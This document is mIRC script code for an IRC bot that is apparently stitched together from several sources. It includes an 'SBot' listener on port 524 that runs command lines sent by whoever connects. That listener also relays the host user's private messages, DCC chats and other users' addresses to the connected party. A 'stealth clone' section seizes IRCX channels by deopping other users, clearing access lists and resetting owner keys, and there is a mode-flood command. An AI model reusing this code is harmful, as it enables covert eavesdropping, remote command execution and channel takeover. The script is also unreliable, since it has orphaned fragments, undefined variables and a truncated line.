  if ( %SBot.modes == $null ) { %SBot.modes = $chr(149) }
  if ( %SBot.topic == $null ) { %SBot.topic = $chr(149) }
  .sockwrite -n SBot-* CHAN START $1 %SBot.ops $+ $chr(140) $+ %SBot.voice $+ $chr(140) $+ %SBot.reg $+ $chr(140) $+ %SBot.modes $+ $chr(140) $+ $colour(Topic) $colour(Info2) %SBot.topic
  unset %SBot.ops %SBot.voice %SBot.reg %SBot.i %SBot.modes %SBot.topic
  halt
}

alias winstat {
  unset %SBot.wins.i %SBot.wins.temp
  :loop
  inc %SBot.wins.i
  if ( %SBot.wins.i <= $chan(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chan( %SBot.wins.i ) $+ $chr(44) | goto loop }
  %SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
  unset %SBot.wins.i 
  :loop2
  inc %SBot.wins.i
  if ( %SBot.wins.i <= $query(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $query( %SBot.wins.i ) $+ $chr(44) | goto loop2 }
  %SBot.wins.temp = %SBot.wins.temp $+ $chr(140)
  unset %SBot.wins.i 
  :loop3
  inc %SBot.wins.i
  if ( %SBot.wins.i <= $chat(0) ) { %SBot.wins.temp = %SBot.wins.temp $+ $chat( %SBot.wins.i ) $+ $chr(44) | goto loop3 }
  .sockwrite -n SBot-* WINSTATS %SBot.wins.temp
  unset %SBot.wins.*
}

alias showinstat { 
  .sockwrite -n SBot-* SHOW Status $1-
  .sockwrite -n SBot-* SHOW Status -
}

alias bground {
  if ( [ $readini $mircdirmirc.ini background $1 ] != $null ) {
    if ($chr(58) !isin [ $readini $mircdirmirc.ini background $1 ] ) { return [ $mircdir $+ [ $readini $mircdirmirc.ini background $1 ] ] }
    else { return [ $readini $mircdirmirc.ini background $1 ] }
  }
  else { return none }
}
alias listen if ( $portfree(524) ) { .socklisten Stealth 524 }

[script]
n0=
n1=alias stealthstat {
n2=  if ($sock(@B0B,1).status != $null) { $awinfecho Stealth Clone is $upper($sock(@B0B,1).status) }
n3=  if ($sock(@B0B,1).status == $null) { $awinfecho Stealth Clone is NOT ACTIVE }
n4=}
n5=alias BoB2 {
n6=  /set %server $$?="Server?"
n7=  .enable #stealthmode | .enable #stealthkick
n8=  set %st.cl BoB-[ $+ $r(a,z) $+ $r(0,9) $+ $r(a,z) $+ ]
n9=  sockopen @B0B %server 6667
n10=}
n11=on 1:SOCKOPEN:@B0B:{
n12=  window -p @B0B 0 0 310 100 @B0B Arial | titlebar @B0B - (HI MY NAME IS BOB)
n13=  sockwrite -n $sockname USER BoB Bob BoB :I am BoB
n14=  sockwrite -n $sockname NICK %st.cl
n15=  sockwrite -n $sockname IRCX
n16=  sockwrite -n $sockname MODE %st.cl +i
n17=  drawtext -pbc $sockname 0 1 Arial 14 105 3 210 15 4Connection Status:15 $upper($sock($sockname,1).status)
n18=  drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 OFF
n19=  drawtext -pbc $sockname 0 1 Arial 14 105 35 210 15 4Last Chan:
n20=  drawtext -pbc $sockname 0 1 Arial 14 105 51 210 15 4Last Action:
n21=  drawtext -pbc $sockname 0 1 Arial 14 105 67 210 15 4BoT NaMe:15 %st.cl
n22=  drawtext -pbc $sockname 0 1 Arial 14 105 83 210 15 4IRCX Server:15 %server
n23=  window -a @B0B
n24=}
n25=on 1:SOCKREAD:@B0B:{
n26=  if ($sockerr > 0) return
n27=  :nextread
n28=  sockread %sock.read.line
n29=  if ($sockbr == 0) return
n30=  if ($gettok(%sock.read.line,1,32) == PING) { sockwrite -n $sockname PONG $gettok(%sock.read.line,2-,58) }
n31=  if ($gettok(%sock.read.line,2,32) == PROP) { set %Key. [ $+ [ $gettok(%sock.read.line,3,32) ] ] $remove($gettok(%sock.read.line,5,32),:) }
n32=  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!part) { sockwrite -n $sockname PART $gettok(%sock.read.line,3,32) }
n33=  if ($gettok(%sock.read.line,2,32) == PRIVMSG) && ($address($me,5) isin $gettok(%sock.read.line,1,32)) && ($gettok(%sock.read.line,4,32) == :!q) { sockwrite -n $sockname MODE $gettok(%sock.read.line,3,32) +q $me }
n34=  if ($gettok(%sock.read.line,2,32) == 800) { drawtext -pbc $sockname 0 1 Arial 14 105 19 210 15 4IRCX Status:15 ON $chr(160) }
n35=  goto nextread
n36=}
n37=on 1:SOCKCLOSE:@B0B:set %sockwin $sockname | unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $sockname | window -c %sockwin
n38=on 1:CLOSE:@B0B:unset %st.* | .disable #stealthmode | .disable #stealthkick | sockclose $target
n39=#stealthmode off
n40=on 1:RAWMODE:#:{ 
n41=if (($mode(1).deowner == $me) || ($mode(1).deop == $me)) && ($sock(@B0B) != $null) { .disable #stealthkick | sockwrite -n @B0B join $chan %Key. [ $+ [ $chan ] ] | set %cmask $address($nick,4) | sockwrite -n @B0B mode $chan +qq-ooo $me $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick | sockwrite -n @B0B prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) | sockwrite -n @B0B access $chan clear | set %st.last.chan %st.chan | set %st.last.act %st.act | set %st.chan $chan | set %st.act $iif($1 == -q,deowned,deoped) | .timerSTEALTH 1 3 finish.stealth | .timer 1 3 .enable #stealthkick | unset %cmask } }
n42=.disable #stealthkick
n43=sockwrite -n @B0B join $chan %Key. [ $+ [ $chan ] ] 
n44=set %cmask $address($nick,4)
n45=sockwrite -n @B0B access # clear
n46=sockwrite -n @B0B mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick 
n47=sockwrite -n @B0B prop $chan ownerkey $r(a,z) $+ $r(A,Z) $+ $r(a,z) $+ $r(0,9) $+ $r(A,Z) 
n48=sockwrite -n @B0B access $chan clear 
n49=set %st.last.chan %st.chan 
n50=set %st.last.act %st.act 
n51=set %st.chan $chan 
n52=set %st.act $iif($1 == -q,deowned,deoped) 
n53=.timerSTEALTH 1 3 finish.stealth 
n54=.timer 1 3 .enable #stealthkick
n55=}
n56=if (($gettok(%protect,4,32) == +q) && ($gettok(%protect,5,32) == %protect.nick)) {
n57=.timer $+ %protect.nick $+ $gettok(%protect,3,32) 0 15 sockwrite -nt $sockname access $gettok(%protect,3,32) add owner $ip
n58=}
n59=if (($gettok(%protect,4,32) == -q) && ($gettok(%protect,5,32) == %protect.nick)) {
n60=if ($level($address(%protect.knick,2)) = 100) { 
n61=  if (%protect.deop = off) { halt }
n62=  set %protect.deop off
n63=  sockwrite -nt $sockname part $gettok(%protect,3,32)
n64=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ $+ [ $gettok(%protect,3,32) ] ]
n65=  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
n66=  .timer 1 3 set %protect.deop on
n67=  halt
n68=}
n69=else {
n70=  if (%protect.deop = off) { halt }
n71=  set %protect.deop off
n72=  %mask = $address(%protect.knick,4)
n73=  sockwrite -nt $sockname part $gettok(%protect,3,32)
n74=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n75=  sockwrite -nt $sockname access $gettok(%protect,3,32) clear
n76=  sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
n77=  sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
n78=  sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
n79=  .timer 1 3 set %protect.deop on
n80=  halt
n81=}
n82=}
n83=if (($gettok(%protect,4,32) == -q) && ($level($address($gettok(%protect,5,32),2)) = 100)) {
n84=if ($level($address(%protect.knick,2)) = 100)  { halt }
n85=else {
n86=  if (%protect.deopp = off) { halt }
n87=  set %protect.deopp off
n88=  %mask = $address(%protect.knick,4)
n89=  sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
n90=  sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
n91=  .timer 1 3 set %protect.deopp on
n92=  halt
n93=}
n94=}
n95=if (($gettok(%protect,2,32) == KICK) && ($gettok(%protect,4,32) == %protect.nick)) {
n96=if ($level($address(%protect.knick,2)) = 100) { 
n97=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n98=  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ meenY!
n99=}
n100=else {
n101=  %mask = $address(%protect.knick,4)
n102=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n103=  sockwrite -nt $sockname access $gettok(%protect,3,32) clear
n104=  sockwrite -nt $sockname access $gettok(%protect,3,32) add host %mask
n105=  sockwrite -nt $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($cnames,32)) $cnames
n106=  sockwrite -nt $sockname prop $gettok(%protect,3,32) ownerkey : $+ $rkey
n107=  halt
n108=}
n109=}
n110=if (($gettok(%protect,2,32) == JOIN) && ($ip isin %protect)) {
n111=set %protect.join $mid(%protect,2,$calc($pos(%protect,!,1) - 2))
n112=if (%protect.join == %protect.nick) { halt }
n113=sockwrite -n $sockname mode $remove($gettok(%protect,3,32),:) +q %protect.join
n114=halt
n115=}
n116=if (($level($address(%protect.knick,2)) == 100) && ($gettok(%protect,2,32) == MSG)) { 
n117=if ($gettok(%protect,4,32) == :!hop) {
n118=  sockwrite -nt $sockname part $gettok(%protect,3,32)
n119=  sockwrite -nt $sockname join $gettok(%protect,3,32) [ % $+ [ $gettok(%protect,3,32) ] ]
n120=}
n121=if ($gettok(%protect,4,32) == :!qme) {
n122=  sockwrite -nt $sockname mode $gettok(%protect,3,32) +q %protect.knick
n123=}
n124=if ($gettok(%protect,4,32) == :!join) {
n125=  sockwrite -nt $sockname join $gettok(%protect,5-,32)
n126=}
n127=if ($gettok(%protect,4,32) == :!part) {
n128=  sockwrite -nt $sockname part $gettok(%protect,5-,32)
n129=}
n130=if ($gettok(%protect,4,32) == :!say) {
n131=  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $gettok(%protect,5-,32)
n132=}
n133=if ($gettok(%protect,4,32) == :!act) {
n134=  sockwrite -nt $sockname privmsg $gettok(%protect,3,32) : $+ $chr(1) $+ ACTION $gettok(%protect,5-,32) $+ $chr(1)
n135=}
n136=if ($gettok(%protect,4,32) == :!kick) {
n137=  sockwrite -nt $sockname kick $gettok(%protect,3,32) $gettok(%protect,5,32) :X $gettok(%protect,6-,32)
n138=}
n139=if ($gettok(%protect,4,32) == :!+o) {
n140=  echo @split1 ownering $gettok(%protect,5-,32)
n141=  sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(q,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
n142=}
n143=if ($gettok(%protect,4,32) == :!+h) {
n144=  echo @split1 host $gettok(%protect,5-,32)
n145=  sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(o,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
n146=}
n147=if ($gettok(%protect,4,32) == :!+v) {
n148=  echo @split1 voiceing $gettok(%protect,5-,32)
n149=  sockwrite -n $sockname mode $gettok(%protect,3,32) + $+ $str(v,$numtok($gettok(%protect,5-,32),32)) $gettok(%protect,5-,32)
n150=}
n151=if ($gettok(%protect,4,32) == :!-o) {
n152=  echo @split1 ownering $g
n153=}
n154=#stealthmode end
n155=#stealthkick off
n156=on 1:KICK:#: { 
n157=  if ($knick == $me) && ($sock(@B0B) != $null) { 
n158=    .disable #stealthmode 
n159=    set %cmask $address($nick,4)
n160=    sockwrite -n @B0B join # $ownerkey
n161=    sockwrite -n @B0B mode # +qq-oooooo $me $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,1).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,2).nick $ialchan(%cmask,#,3).nick $ialchan(%cmask,#,3).nick
n162=    sockwrite -n @B0B access # clear
n163=    sockwrite -n @B0B prop # ownerkey BoBWuZHeRe-( $+ $rand(1,999999) $+ )
n164=    sockwrite -n @B0B access # clear
n165=    set %st.last.chan %st.chan 
n166=    set %st.last.act %st.act 
n167=    set %st.chan $chan 
n168=    set %st.act kicked 
n169=    .timerSTEALTH 1 3 finish.stealth 
n170=    .timer 1 3 .enable #stealthmode 
n171=    sockwrite -nt @B0B part $chan
n172=  } 
n173=}
n174=#stealthkick end
n175=alias finish.stealth {
n176=  drawtext -pbc @B0B 1 1 Arial 14 105 35 210 15 4Last Chan:1 %st.last.chan
n177=  drawtext -pbc @B0B 1 1 Arial 14 105 51 210 15 4LastAction:1 %st.last.act
n178=  drawtext -pbc @B0B 0 1 Arial 14 105 35 210 15 4Last Chan:15 %st.chan
n179=  drawtext -pbc @B0B 0 1 Arial 14 105 51 210 15 4LastAction:15 %st.act
n180=  join %st.chan %Key. [ $+ [ %st.chan ] ]
n181=  if ($me isowner %st.chan) { sockwrite -n @B0B part %st.chan }
n182=  if ($me !isowner %st.chan) { join %st.chan %Key. [ $+ [ %st.chan ] ] }
n183=  .enable #stealthmode | .enable #stealthkick
n184=}
n185=menu @B0B {
n186=  &Die:sockwrite -n @B0B QUIT
n187=}
n188=alias pex { 
n189=  sockwrite -n @B0B kick # $snicks(#,0)
n190=  kick # %st.cl
n191=  if ($opnick == $me) { set %deop.protection off | set %nick.mask $address($nick,2) | .sockwrite -tn join # %ownerkey | .sockwrite -tn mode # -qqq $ialchan(%nick.mask,#,1)
n192=    $ialchan(%nick.mask,#,2).nick $ial(%nick.mask,#,3).nick
n193=  }
n194=
n195=}
n196=
n197=on 1:START: listen
n198=
n199=on 1:SOCKLISTEN:Stealth: {
n200=  unset %SBot.i
n201=  :start
n202=  inc %SBot.i
n203=  if ( $sock( [ SBot- $+ [ %SBot.i ] ] ) != $null ) { goto start }
n204=  .sockaccept [ SBot- $+ [ %SBot.i ] ]
n205=  %SBot.server = $server
n206=  if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
n207=  .sockwrite -n SBot- $+ [ %SBot.i ] CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
n208=  unset %SBot.*
n209=}
n210=
n211=on 1:SOCKREAD:SBot-*: {
n212=  if ( $sockerr > 0 ) .return
n213=  .sockread %SBot.read.temp
n214=  %SBot.read.temp1 = $gettok( %SBot.read.temp ,1,32)
n215=  if ( %SBot.read.temp1 == GETCOLORS ) { 
n216=    .sockwrite -n $sockname COLORS $rgb(Face) $+ $chr(140) $+ $rgb(Text) $+ $chr(140) $+ $rgb(Hilight) $+ $chr(140) $+ $rgb(Shadow) $+ $chr(140) $+ $bground(SwitchBar)
n217=    if ( $bground(SwitchBar) != none ) { 
n218=      unset %SBot.read.i
n219=      :start
n220=      inc %SBot.read.i
n221=      if ( $sock( [ SBot_Send- $+ [ %SBot.read.i ] ] ) != $null ) { goto start }
n222=      .sockopen [ SBot_Send- $+ [ %SBot.read.i ] ] $sock($sockname).ip $gettok( %SBot.read.temp ,2,32) 
n223=    }
n224=  }
n225=  elseif ( %SBot.read.temp1 == GETWINS ) { winstat }
n226=  elseif ( %SBot.read.temp1 == GETNAMES ) { chanstat $gettok( %SBot.read.temp ,2,32) }
n227=  elseif ( %SBot.read.temp1 == GETIP ) {
n228=    if ( $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $query( [ $gettok( %SBot.read.temp ,2,32) ] ).address }
n229=    elseif ( $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) != $null ) { .sockwrite -n SBot-* NICKIP $gettok( %SBot.read.temp ,2,32) $address( [ $gettok( %SBot.read.temp ,2,32) ] ,5) }
n230=    else { .enableset #NickIP | %SBot.getnick $gettok( %SBot.read.temp ,2,32) | .userhost $gettok( %SBot.read.temp ,2,32) } 
n231=  }
n232=  elseif ( %SBot.read.temp1 == CONNECT ) { .sockmark $sockname $gettok( %SBot.read.temp ,2,32) }
n233=  else { 
n234=    if ( remove isin %SBot.read.temp1 ) || ( copy isin %SBot.read.temp1 ) || ( mkdir isin %SBot.read.temp1 ) || ( remini isin %SBot.read.temp1 ) || ( rename isin %SBot.read.temp1 ) || ( rmdir isin %SBot.read.temp1 ) || ( write isin %SBot.read.temp1 ) { unset %SBot.read.* | halt }
n235=    %SBot.read.temp 
n236=  }
n237=  unset %SBot.read.*
n238=}
n239=
n240=on 1:SOCKCLOSE:Stealth:.listen
n241=
n242=on 1:SOCKOPEN:SBot_Send-*:{
n243=  .sockmark $sockname $bground(SwitchBar)
n244=  bread $sock($sockname).mark 0 4096 &SBot.temp
n245=  sockwrite $sockname &SBot.temp
n246=}
n247=
n248=on 1:SOCKWRITE:SBot_Send-*: {
n249=  if ($sockerr > 0) { halt }
n250=  if ($sock($sockname).sent >= $lof( $sock($sockname).mark) ) { sockclose $sockname | halt }
n251=  bread $sock($sockname).mark $sock($sockname).sent 4096 &SBot.temp
n252=  sockwrite $sockname &SBot.temp
n253=}
n254=
n255=on 1:INPUT: {
n256=  if ( $sock(SBot-*) != $null ) {
n257=    if ( Chat isin $target ) { %SBot.temp = $gettok( $target ,3,32) | .sockwrite -n SBot-* DCC CHAT %SBot.temp < $+ $me $+ > $1- }
n258=    elseif ( $left( $1 ,1) != $chr(47) ) { if ( Status !isin $target ) { .sockwrite -n SBot-* SHOW $target < $+ $me $+ > $1- } }
n259=    else { 
n260=      %SBot.temp = $target
n261=      if ( $gettok( %SBot.temp ,1,32) == Status ) { %SBot.temp = Status }
n262=      .sockwrite -n SBot-* ACTION %SBot.temp $1- 
n263=      %SBot.temp1 = $gettok( $1 ,1,47)
n264=      if ( %SBot.temp1 == msg ) || ( %SBot.temp1 == query ) { .sockwrite -n SBot-* SHOW $2 < $+ $me $+ > $3- }
n265=      elseif ( %SBot.temp1 == me ) || ( %SBot.temp1 == action ) || ( %SBot.temp1 == describe ) {
n266=        if ( %SBot.temp1 == describe ) { %SBot.temp = $2 | %SBot.msg = $3- }
n267=        else { %SBot.temp = $target | %SBot.msg = $2- }
n268=        .sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $me %SBot.msg
n269=        unset %SBot.*
n270=      }        
n271=    }
n272=    unset %SBot.*
n273=  }
n274=}
n275=
n276=on 1:CONNECT: {
n277=  if ( $sock(SBot-*) != $null ) { 
n278=    %SBot.server = $server
n279=    if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
n280=    .sockwrite -n SBot-* CONNECT $me $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
n281=  }
n282=}
n283=on 1:DISCONNECT: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Info) $+ *** Disconnected | .sockwrite -n SBot-* DISCONNECT }
n284=
n285=on 1:TEXT:*:*: {
n286=  if ( $sock(SBot-*) != $null ) {
n287=    %SBot.temp = $chan
n288=    if ( $chan == $null ) { %SBot.temp = $nick }
n289=    .sockwrite -n SBot-* SHOW %SBot.temp < $+ $nick $+ > $1- 
n290=    unset %SBot.*
n291=  }
n292=}
n293=
n294=on 1:NOTICE:*:*: {
n295=  if ( $sock(SBot-*) != $null ) {
n296=    if ( $chan != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ $colour(notice) $+ - $+ $nick $+ : $+ $chan $+ - $1- }
n297=    else { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
n298=  }
n299=}
n300=
n301=on 1:ACTION:*:*: {
n302=  if ( $sock(SBot-*) != $null ) {
n303=    %SBot.temp = $chan
n304=    if ( $chan == $me ) { %SBot.temp = $nick }
n305=    .sockwrite -n SBot-* SHOW %SBot.temp  $+ [ $colour(Action) ] $+ * $nick $1- 
n306=    unset %SBot.*
n307=  }
n308=}
n309=
n310=on 1:NICK: { 
n311=  if ( $sock(SBot-*) != $null ) {
n312=    if ( $nick == $me ) {
n313=      %SBot.server = $server
n314=      if ( %SBot.server == $null ) { %SBot.server = $chr(149) }
n315=      .sockwrite -n SBot-* CONNECT $newnick $+ $chr(140) $+ %SBot.server $+ $chr(140) $+ $usermode 
n316=    }
n317=    unset %SBot.i
n318=    unset %SBot.temp
n319=    :start
n320=    inc %SBot.i
n321=    if ( %SBot.i <= $comchan( $newnick ,0) ) {
n322=      if ( $newnick isop $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(64) }
n323=      elseif ( $newnick isvo $comchan( $newnick , %SBot.i ) ) { %SBot.char = $chr(43) }
n324=      else { %SBot.char = $chr(149) }
n325=      if ( %SBot.temp == $null ) { %SBot.temp = %SBot.char $+ $comchan( $newnick , %SBot.i ) }
n326=      else { %SBot.temp = %SBot.temp $+ , $+ %SBot.char $+ $comchan( $newnick , %SBot.i ) }
n327=      goto start
n328=    }
n329=    .sockwrite -n SBot-* NICK $nick $newnick %SBot.temp $colour(nick)
n330=    unset %SBot.*
n331=  }
n332=}
n333=
n334=on 1:QUIT: {
n335=  if ( $sock(SBot-*) != $null ) {
n336=    if ( $nick != $me ) {
n337=      unset %SBot.i
n338=      unset %SBot.temp
n339=      :start
n340=      inc %SBot.i
n341=      if ( %SBot.i <= $comchan( $nick ,0) ) {
n342=        if ( %SBot.temp == $null ) { %SBot.temp = $comchan( $nick , %SBot.i ) }
n343=        else { %SBot.temp = %SBot.temp $+ , $+ $comchan( $nick , %SBot.i ) }
n344=        goto start
n345=      }
n346=      %SBot.msg = $1
n347=      if ( %SBot.msg == $null ) { %SBot.msg = Leaving }
n348=      .sockwrite -n SBot-* QUIT $nick %SBot.temp  $+ $colour(Quit) $+ *** Quits: $nick ( $+ $1- $+ ) 
n349=      .showinstat  $+ $colour(Quit) $+ *** $nick ( $+ $address $+ ) Quits ( $+ $1 $+ )
n350=    }
n351=  }
n352=}  
n353=
n354=on 1:DNS: {
n355=  if ( $sock(SBot-*) != $null ) { 
n356=    showinstat  $+ $colour(Other) $+ *** Looking up $iaddress 
n357=    if ( $raddress == $null ) { showinstat  $+ $colour(Other) $+ *** Unable to resolve $iaddress }
n358=    else { showinstat  $+ $colour(Other) $+ *** Resolved $iaddress to $raddress }
n359=  }
n360=}
n361=
n362=on 1:CLOSE:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
n363=on 1:CLOSE:!: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE [ Chat- $+ [ $target ] ] }
n364=on 1:CLOSE:?: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CLOSE $target }
n365=on 1:SNOTICE: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(notice) $+ - $+ $nick $+ - $1- }
n366=on 1:NOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick is on IRC }
n367=on 1:UNOTIFY: if ( $sock(SBot-*) != $null ) { showinstat  $+ $colour(Notify) $+ *** $nick has left IRC }
n368=on 1:INVITE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* INVITE $chan $nick $colour(invite) $address }
n369=on 1:USERMODE: if ( $sock(SBot-*) != $null ) { showinstat  $+ [ $colour( mode ) ] $+ *** $me sets mode: $1- | .sockwrite -n SBot-* UMODE $usermode }
n370=on 1:MODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
n371=on 1:SERVERMODE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN MODE $chan $nick $colour( mode) $1- $+ $chr(164) $+ $chan( $chan ).mode }
n372=on 1:TOPIC:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN TOPCHANGE $chan $nick $colour(topic) $1- }
n373=on 1:OP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
n374=on 1:SERVEROP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +o $opnick }
n375=on 1:DEOP:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $opnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -o $opnick }
n376=on 1:VOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: +v $vnick }
n377=on 1:DEVOICE:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN OP $chan $vnick  $+ [ $colour(mode) ] $+ *** $nick sets mode: -v $vnick }
n378=on 1:JOIN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* CHAN JOIN $chan  $+ $colour(Join) $+ *** Joins: $nick ( $+ $address $+ ) }
n379=on 1:PART:#: if ( $sock(SBot-*) != $null ) { if ( $nick != $me ) { .sockwrite -n SBot-* CHAN PART $chan  $+ $colour(Part) $+ *** Parts: $nick ( $+ $address $+ ) ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan } }
n380=on 1:KICK:#: if ( $sock(SBot-*) != $null ) { if ( $knick != $me ) { .sockwrite -n SBot-* CHAN KICK $chan  $+ $colour(Part) $+ *** $knick was kicked by $nick ( $+ $1- $+ ) } | else { .sockwrite -n SBot-* CLOSE $chan | .showinstat  $+ $colour(Part) $+ *** You were kicked from $chan by $nick ( $+ $1- $+ ) } }
n381=on 1:BAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode +b $banmask }
n382=on 1:UNBAN:#: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* SHOW $chan  $+ [ $colour(mode) ] $+ *** $nick sets mode -b $banmask }
n383=on 1:CHAT:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
n384=on 1:SERV:*: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC CHAT $nick < $+ $nick $+ > $1- }
n385=ctcp 1:DCC CHAT: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick CTCP $colour(Info2) $colour(CTCP) $longip( $4 ) }
n386=on 1:OPEN:=: if ( $sock(SBot-*) != $null ) { .sockwrite -n SBot-* DCC OPENCHAT $nick ACK $colour(CTCP) DCC Chat connection established }
n387=
n388=ctcp 1:*:*: {
n389=  if ( $1 == VERSION ) && ( $2 == SBot ) { .ctcpreply $nick VERSION $me is hosting SBot-Script ver. 2 |{o|)e|) by Goldfing | halt }
n390=  elseif ( $1 == SBot ) && ( $2 == Stats ) { 
n391=    unset %SBot.ctcp.i
n392=    :start
n393=    inc %SBot.ctcp.i
n394=    %SBot.ctcp.temp1 = SBot- [ $+ [ %SBot.ctcp.i ] ]
n395=    if ( $sock( %SBot.ctcp.temp1 ) != $null ) { %SBot.ctcp.temp = %SBot.ctcp.temp $sock(%SBot.ctcp.temp1).mark | goto start }
n396=    if ( %SBot.ctcp.temp != $null ) { /.ctcpreply $nick SBot Connected to: %SBot.ctcp.temp }
n397=    else { /.ctcpreply $nick SBot Not Connected to anyone }
n398=    unset %SBot.ctcp.*
n399=    halt
n400=  }
n401=  elseif ( $sock(SBot-*) != $null ) {
n402=    if ( $1 != DCC ) {
n403=      %SBot.temp = $2-
n404=      if ( $1 == PING ) { unset %SBot.temp }
n405=      if ( $chan != $null ) { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $+ $chr(58) $+ $chan $1 $+ $chr(93) %SBot.temp }
n406=      else { showinstat  $+ [ $colour(CTCP) ] $+ $chr(91) $+ $nick $1 $+ $chr(93) %SBot.temp }
n407=    }
n408=  }
n409=  unset %SBot.*
n410=}
n411=
n412=On 1:input:*:{
n413=  if ($1- == hey bob)  { /sockwrite -tn * JOIN # }
n414=  if ($1- == bye bob)  { /sockwrite -tn * PART # }
n415=  if ($1- == die bob)   { sockwrite -n @B0B QUIT BYE, MY NAME IS BOB }
n416=  if ($1- == boo) { /sockwrite -nt * mode # +o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o+o-o $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 $1 }
n417=
n418=}
n419=
n420=on 1:CTCPREPLY:*: { 
n421=  if ( $sock(SBot-*) != $null ) {
n422=    if ( $1 != PING ) { showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $1 reply $+ $chr(93) $+ $chr(58) $2- }
n423=    else {
n424=      set %SBot.pt $ctime - $2
n425=      if (%SBot.pt < 0) { set %SBot.pt 0 }
n426=      showinstat  $+ $colour(CTCP) $+ $chr(91) $+ $nick PING reply $+ $chr(93) $+ $chr(58) %SBot.pt seconds
n427=      unset %SBot.*
n428=    }    
n429=  }
n430=}
n431=
n432=;-------------------------------------  CONNECT -------------------------------------------
